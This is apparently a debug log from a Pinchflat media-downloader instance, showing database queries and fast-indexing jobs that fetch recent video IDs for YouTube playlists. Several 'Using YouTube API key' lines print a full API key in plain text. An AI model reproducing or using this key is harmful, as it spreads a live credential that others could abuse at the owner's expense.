idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:42.130 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 16:35:42.130 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:42.130 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:35:42.283 [debug] QUERY OK source="media_items" db=0.6ms idle=152.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "9C4kJmNsd4g", "B09GJ5ynuKg", "yw3o8PSoWqs", "A5hZXRAZwiY", "tnszTTzGvmU", "hly-3fiHARI", "fd0k8u9XvQk", "Pc1JzImPw_M", "WUlLIo9LI-w", "vN44jvYD0aY", "AaqCYyrugzo", "6q-2bxQnaYA", "EnWmuc-J8i8", "GXkwWjAzQYI", "ls4jmJL8TeI", "79X9SL172oo", "ZPRKLg5ZR-8", "rHCpgtc5nzs", "5xO1jF1cVe8", "eZ5VpPJjddA", "jUT3rUZGqLA", "Ld0Bbf_Dpg0", "0pXrDVfe8A4", "i8BnXGr4mp0", "oQcw9ZZ_PxQ", "HZOYCMkic0E", "wCkFcD-2fI8", "ndmKkH2UU-Y", "hz1LmOcleGc", "lIOTxSlkuBc", "OO_JawE3fLs", "ojlTFAccjlQ", "F_A9UqXvLnE", "X_ERoyn1BUg", "25185B-tWCI", "zhL2FIiW2Ts", "QtrKAvLCJ2g", "Rm9rTYB7CdQ", "_Y-D4gYIVe4", "Pb-FPK2NGpw", "R11qUdPD3dw", "WbLI7U2hLyA", "pM1qgJMBqMw", "DRUDiwHRC60", "M16lt1D0OaI", "oJZecXmgXpA", "BqQ86_MIvp8", "PR5mykiFzN4", "FwyYsf9AGKw", ...] 16:35:42.286 [debug] QUERY OK source="media_items" db=3.0ms idle=153.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 16:35:42.287 [debug] QUERY OK source="tasks" db=0.1ms idle=156.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268271, 5, ~U[2026-10-09 21:35:42Z], ~U[2026-10-09 21:35:42Z]] 16:35:42.287 [info] {"args":{"id":5},"id":5268232,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":158150,"event":"job:stop","queue_time":418533,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:42.293 [info] {"args":{"id":16},"id":5268233,"meta":{},"system_time":1791581742293355749,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:42.293 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 16:35:42.293 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:42.294 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:35:42.294 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:42.294 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 16:35:42.294 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:42.294 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:35:42.481 [debug] QUERY OK source="media_items" db=0.6ms idle=187.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "drrUvxtT6lU", "pZtU48TjxXg", "AQqVcdTH5bQ", "Dr4lseoF82c", "YwxiF2Gqtww", "IJSO-BL3pEU", "tDLbO9KeddY", "EU-rZuJxdbw", "7S8mK7WSNZQ", "SzM1hpnXux4", "8IsbKH-EsAY", "jUa2x_xpFuM", "WGia1R3xacM", "blubg9l8AVc", "hCZwH5CSlEY", "Mi_fYfpycT0", "YrZyJuaBfKA", "omYfLDlt-MA", "Pwn8IrDeiwc", "NxZOBBenmZM", "V2lEgMHF2Fo", "aZRXpmnys7I", "cMYYcddinkE", "-v2ZhcJcnBE", "Wp-TX1FoEN4", "PTEkUe1k6gc", "zKx1VJsLsfk", "GpaNijzRaJI", "Yz3lSKgz4q8", "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", ...] 16:35:42.483 [debug] QUERY OK source="media_items" db=0.9ms idle=188.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 16:35:42.483 [debug] QUERY OK source="tasks" db=0.1ms idle=189.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268272, 16, ~U[2026-10-09 21:35:42Z], ~U[2026-10-09 21:35:42Z]] 16:35:42.483 [info] {"args":{"id":16},"id":5268233,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":190438,"event":"job:stop","queue_time":454920,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:43.130 [info] {"args":{"id":28},"id":5268234,"meta":{},"system_time":1791581743130142117,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:43.130 [debug] QUERY OK source="sources" db=0.1ms idle=646.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 16:35:43.130 [debug] QUERY OK source="settings" db=0.0ms idle=646.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:43.130 [debug] QUERY OK source="media_profiles" db=0.1ms idle=640.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:35:43.130 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:43.130 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 16:35:43.131 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:43.131 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:35:43.322 [debug] QUERY OK source="media_items" db=0.6ms idle=191.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "KrmXrao8zdE", "3fDGcZ8qpPM", "AyGMx6lWgZU", "QeQ0ReNvrxQ", "dWHCef7F8gY", "VsoNt5rhgkY", "jsLE4FncoLc", "FNBkN4YC8uo", "6pR7KWclRgE", "sX4qKGuAwr0", "sN7e38Q7e1U", "Ms5-iH2zH6Q", "NG-lLt5X3Rs", "8A42tiQ04CE", "i1AXDYQ6eUU", "Y8wBie-Oamc", "JPm4de6-eTg", "2El50dt7rVk", "_TxeaboC-xk", "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", ...] 16:35:43.324 [debug] QUERY OK source="media_items" db=0.5ms idle=192.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 16:35:43.324 [debug] QUERY OK source="tasks" db=0.1ms idle=193.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268273, 28, ~U[2026-10-09 21:35:43Z], ~U[2026-10-09 21:35:43Z]] 16:35:43.325 [info] {"args":{"id":28},"id":5268234,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":194810,"event":"job:stop","queue_time":459909,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:44.131 [info] {"args":{"id":20},"id":5268235,"meta":{},"system_time":1791581744131149151,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:44.131 [debug] QUERY OK source="sources" db=0.1ms idle=806.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 16:35:44.131 [debug] QUERY OK source="settings" db=0.0ms idle=806.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:44.131 [debug] QUERY OK source="media_profiles" db=0.1ms idle=800.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:35:44.131 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:44.131 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 16:35:44.132 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:44.132 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:35:44.447 [debug] QUERY OK source="media_items" db=0.6ms idle=315.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "YcXxJviqQfE", "g6VmtRtHMeA", "zCj1ZKCgdoI", "YBTfuph1cdE", "ryRdagoZR88", "zD0WRwU4AqE", "GB6lntnVi4A", "QQ97R1nhq4M", "5C60QMnLtX8", "-l28H03fnKk", "FefIWhfl5Lg", "d0t7wpkFc6U", "clsbuM6uf1A", "6Reu1WS3BhM", "bYw5GAzP2Ds", "KY_4oUIG_z8", "4-eB-n5NYRs", "9s69aThM7rA", "Gs5r8iGPjSg", "We-lvUeRGb0", "8JhH6UO_pRY", "fOwC95ZXh08", "i4eCZ6dLVrg", "h_NEOIwrG-E", "1q-hpaepgk0", "cAmEAgNc0eY", "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", ...] 16:35:44.448 [debug] QUERY OK source="media_items" db=0.4ms idle=316.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 16:35:44.449 [debug] QUERY OK source="tasks" db=0.1ms idle=317.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268274, 20, ~U[2026-10-09 21:35:44Z], ~U[2026-10-09 21:35:44Z]] 16:35:44.449 [info] {"args":{"id":20},"id":5268235,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":318498,"event":"job:stop","queue_time":897791,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:44.456 [info] {"args":{"id":43},"id":5268236,"meta":{},"system_time":1791581744456145375,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:44.456 [debug] QUERY OK source="sources" db=0.1ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 16:35:44.456 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:44.456 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:35:44.456 